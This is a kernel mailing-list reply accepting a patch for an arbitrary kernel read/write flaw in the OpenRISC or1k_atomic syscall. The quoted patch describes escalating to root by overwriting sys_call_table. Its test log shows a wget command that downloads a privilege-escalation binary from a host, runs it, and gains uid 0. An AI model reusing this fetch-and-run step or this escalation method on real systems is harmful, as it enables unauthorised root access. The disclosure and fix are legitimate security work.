From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-wm1-f52.google.com (mail-wm1-f52.google.com [209.85.128.52]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 5C2C530D3E9 for ; Sat, 29 Aug 2026 06:29:33 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.128.52 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787984975; cv=none; b=C55jGDDkceygTlreFOTz5Wn8J6DRisXsiH4x8SxrHsAaysMiJoung1LchcIU+eXN0Ud/AuP6sWJc8iqk7zU4aLUY5OKeE6QykY2cMJQD6UsqmaG0Jfiz7gBO1GufedFdLlgAsKcThr85/Aqv53q1yy+CETeRHzVzpKcwQhUJ4Kc= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1787984975; c=relaxed/simple; bh=SiU/2OsQxhZj+EY9kQ5PjA3CQm4G6D2vCxthW14z8rY=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=EUm3P7eZKJc3U2E3aDx/UEyfKzE3EGjpWy4VPNZ4tmG2ZGz8LmTZDSwz0NxBYt4zMBUcZ13qZ9rMASrbfdLqYlFKHTH56IAEDn7dnt1a2v+5V6mQ1Ri4T5n0mTrrMRv08M20q8L8GSI6RaQzi4Jj1yLv8c23wg3ohnw/Y4mP+s8= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=ZB996Zv0; arc=none smtp.client-ip=209.85.128.52 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="ZB996Zv0" Received: by mail-wm1-f52.google.com with SMTP id 5b1f17b1804b1-49800c6a846so16739565e9.3 for ; Fri, 28 Aug 2026 23:29:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1787984971; x=1788589771; darn=vger.kernel.org; h=in-reply-to:content-disposition:content-type:mime-version :references:message-id:subject:cc:to:from:date:from:to:cc:subject :date:message-id:reply-to:content-type; bh=2zLACw0pXpUYULJDZoulM61mRMjzPQIqT274DyKnsS4=; b=ZB996Zv0BxqDTCG56kzqwKiqgPNNI0qZ9qIpHbg4ua2HTiMgiwBy60QuCHP4cl8FBC VUELCUOCb6KP3uLAlfAsY3yKosksDGcwTwlw0uG8rBLNwTLY3gZmRMJZhpGroslOu6ni thCcVAKSMGBgVKSC8rOecso/iMabDChWXFJyK5Q8USwdSK2EZqAbgsYD8HbIp0PBHtL+ SLWlZnOIrOHHbhACmSZMl3mdrZdUoDr6GKdWUFtS3u0PuTpcqyP71mf16JE78c0VQtkB aUCaz6VqUnoC5uhTxVi6E/tBDOlbxBftkeqTF2vtn4zPCl4bVsWx/05hrTwlucyR1U5W rjWA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1787984971; x=1788589771; h=in-reply-to:content-disposition:content-type:mime-version :references:message-id:subject:cc:to:from:date:x-gm-gg :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to :content-type; bh=2zLACw0pXpUYULJDZoulM61mRMjzPQIqT274DyKnsS4=; b=KSpR++PyUw7vfVNUPElDw+UMwzIk66DGdcnvt5Dizo7SipaTFCfKdtF8FK3V6CzYe8 JvqmaJBx4Wp+/dXKFt8DamTroV0JfjnwsiubLnrZ6pk3/WN8pHbcDmrBQOZnBoyLemFZ AXkQ+8AH7xGcSVvPswSsjHWVROnQfzyXfYcroY5qTRplkkx/wiLNL1QC3yiLNEh+Q/Go q2jpwQ11cDoyDl9PGIs3SFrk1TygXbc566xhWF4YZcUFTmP/x5ghoa8ReOVrkEx6pL+p pn2puDuhNYjx5lvuV0SZo38oLDDK3IU/qBgyb6AsnuGB+gnfeGk5UaQiMB1gHz84W7N+ FX/g== X-Forwarded-Encrypted: i=1; AHgh+RqS0czcoC3mz336pa0Yojl6kSKh2vozGKZsBdJVam9Rhn9repGHjw5wqZN1aZfF8VGatYSu2OabJwCg80cZTA==@vger.kernel.org X-Gm-Message-State: AFuF++nDHGAL6I6lGCydnkgobWZ1zhhWpeZPbWEJwUdZLlCMQMutvf8y 4i32c/TvNBC1/lShRWu2STW+2K15jTnRTSPIeNRVuRA4rBztIXdTthtS X-Gm-Gg: AR+sD13+9gjFJvPdiAYXPD/Ahp8Z+Vh2ypfhzYhMJMp4bVV2OrCfjuY2cUH0DsEMAu2 fkR70WLGq533ZG9R3Gdj6NhX+JMQ17dcoWhqu91b55KBs3V/wgDCW0JjpGvktlcOrTxdB5/vW8c 8VzgNYK+nyUDkzJqx7+eBrrIEWI88LQg7bYVfmC0s3yOqVFkmZvXdX8Q4wMEbD/xBTnD6vkjgmE Cn4ytSGr6sOA+oTu6IfP4RaKRynNn94VKxamDxAIJhnBSPTtB+jCy3Mtu/bSJxAta6ozmNSFVQZ saeIPSNVUOdwqArfw6dLSTL254EQkvzaBzJSscqSAJF8EVftyXp8LWgbUJlad/f3FW8e4mByWGt 4ivjDSHKd5LoL+VyctU2bHEX7ZrAjNBACjMRcGdum08/A+O1be80Hr3HuqGAX4IyO+C0mVF08yN joxooQ4FKThj8OUoohR+qWuzKTYTcGL/F7grrwNtGxGQSlAHZI/LUi0TQAKJyzIO/r2dr0ozc7c ZI6bBRyfNZKgKTJhTqAzcn7lh38HhR+5IUXp0yZZrQ= X-Received: by 2002:a05:600c:3145:b0:499:79b9:e220 with SMTP id 5b1f17b1804b1-49b91c44f6cmr174203445e9.10.1787984971174; Fri, 28 Aug 2026 23:29:31 -0700 (PDT) Received: from localhost (brnt-04-b2-v4wan-170138-cust2432.vm7.cable.virginm.net. [94.175.9.129]) by smtp.gmail.com with ESMTPSA id ffacd0b85a97d-482fbb20793sm8088685f8f.17.2026.08.28.23.29.30 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 28 Aug 2026 23:29:30 -0700 (PDT) Date: Sat, 29 Aug 2026 07:29:29 +0100 From: Stafford Horne To: Ali Ahmet Memis Cc: Jonas Bonn , Stefan Kristiansson , Arnd Bergmann , linux-openrisc@vger.kernel.org, linux-kernel@vger.kernel.org, stable@vger.kernel.org Subject: Re: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Message-ID: References: <20260821013839.587041-1-ali@iusegentoo.com> <20260821014543.588228-1-ali@iusegentoo.com> Precedence: bulk X-Mailing-List: linux-openrisc@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20260821014543.588228-1-ali@iusegentoo.com> On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote: > sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user > pointers, v1 and v2, and swaps the words they point to in hand-written > assembly. > > l.lwz r29,0(r4) > l.lwz r27,0(r5) > l.sw 0(r4),r27 > l.sw 0(r5),r29 > > The pointers are not checked with access_ok(). The four memory > accesses also have no exception table entries. > > A caller passes a kernel address as either pointer, and the syscall > reads from and writes to it directly. > > This gives an unprivileged process a kernel read/write primitive. It > overwrites kernel data such as the sys_call_table, gaining code > execution in kernel context. > > Check both pointers before entering the critical section. Add fixups > for the four memory accesses so faults on valid but unmapped user > addresses return -EFAULT. > > Fixes: 9d02a4283e9c ("OpenRISC: Boot code") > Cc: stable@vger.kernel.org > Signed-off-by: Ali Ahmet Memis > --- > v2: add Cc: stable@vger.kernel.org, missed in v1. > > Tested against an unpatched or1ksim build with a local PoC that uses > this syscall to overwrite a sys_call_table entry and escalate to root: > > ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images > ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0" > FDT at (ptrval) > Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026 > OF: reserved mem: Reserved memory: No reserved-memory node in the DT > CPU: OpenRISC-13 (revision 8) @20 MHz > -- dmmu: 128 entries, 1 way(s) > -- immu: 128 entries, 1 way(s) > -- additional features: > -- power management > -- PIC > -- timer > Initial ramdisk not found > Setting up paging and PTEs. > map_ram: Memory: 0x0-0x8000000 > Zone ranges: > Normal [mem 0x0000000000000000-0x0000000007ffffff] > Movable zone start for each node > Early memory node ranges > node 0: [mem 0x0000000000000000-0x0000000007ffffff] > Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] > itlb_miss_handler (ptrval) > dtlb_miss_handler (ptrval) > OpenRISC Linux -- http://openrisc.io > Kernel command line: console=ttyS0 > printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes > Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear) > Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear) > Sorting __ex_table... > Built 1 zonelists, mobility grouping on. Total pages: 16384 > mem auto-init: stack:all(zero), heap alloc:off, heap free:off > mem_init_done ........................................... > SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 > NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0 > clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns > Console: colour dummy device 80x25 > 40.00 BogoMIPS (lpj=80000) > $ id > uid=1000(test) gid=1000(test) groups=1000(test) > $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static > Connecting to 10.0.2.2:8000 (10.0.2.2:8000) > saving to '/tmp/x' > x 100% |********************************| 174k 0:00:00 ETA > '/tmp/x' saved > $ chmod +x /tmp/x > $ /tmp/x > Initial: uid=1000 euid=1000 > Installing commit_creds into getuid entry > sys_call_table[174] overwritten > original handler = 0xc002e2ac > Calling hijacked syscall with init_cred > hijacked syscall returned 0 > Restoring original getuid handler > syscall table restored > Final identity: uid=0 euid=0 > # id > uid=0(root) gid=0(root) > # > > arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++--- > 1 file changed, 39 insertions(+), 3 deletions(-) > > diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S > index c7e90b09645e..2e8c4102cd62 100644 > --- a/arch/openrisc/kernel/entry.S > +++ b/arch/openrisc/kernel/entry.S > @@ -1223,15 +1223,49 @@ _no_syscall_trace: > * > */ > > +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */ > +#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc OK, it would have been good to use TASK_SIZE. > ENTRY(sys_or1k_atomic) Note, I don't know of any applications that actually use this, we should deprecated this syscall. But I do see it available in musl and strace, it would take some time to cleanup. > /* FIXME: This ignores r3 and always does an XCHG */ > + > + /* Check both user pointers before accessing them. */ > + l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT) > + l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT) > + l.sfgtu r4,r13 > + l.bf 9f > + l.nop > + l.sfgtu r5,r13 > + l.bf 9f > + l.nop > + > DISABLE_INTERRUPTS(r17,r19) > - l.lwz r29,0(r4) > - l.lwz r27,0(r5) > - l.sw 0(r4),r27 > - l.sw 0(r5),r29 > +10: l.lwz r29,0(r4) > +11: l.lwz r27,0(r5) > +12: l.sw 0(r4),r27 > +13: l.sw 0(r5),r29 > ENABLE_INTERRUPTS(r17) > l.jr r9 > l.or r11,r0,r0 > > + /* Either pointer was outside user space, or turned out to be > + * unmapped/inaccessible when we actually touched it. > + */ > +9: l.jr r9 > + l.addi r11,r0,-EFAULT > + > + .section .fixup, "ax" > +14: > + ENABLE_INTERRUPTS(r17) > + l.j 9b > + l.nop > + .previous > + > + .section __ex_table, "a" > + .long 10b, 14b > + .long 11b, 14b > + .long 12b, 14b > + .long 13b, 14b > + .previous > + Thanks, I will send this upstream. -Stafford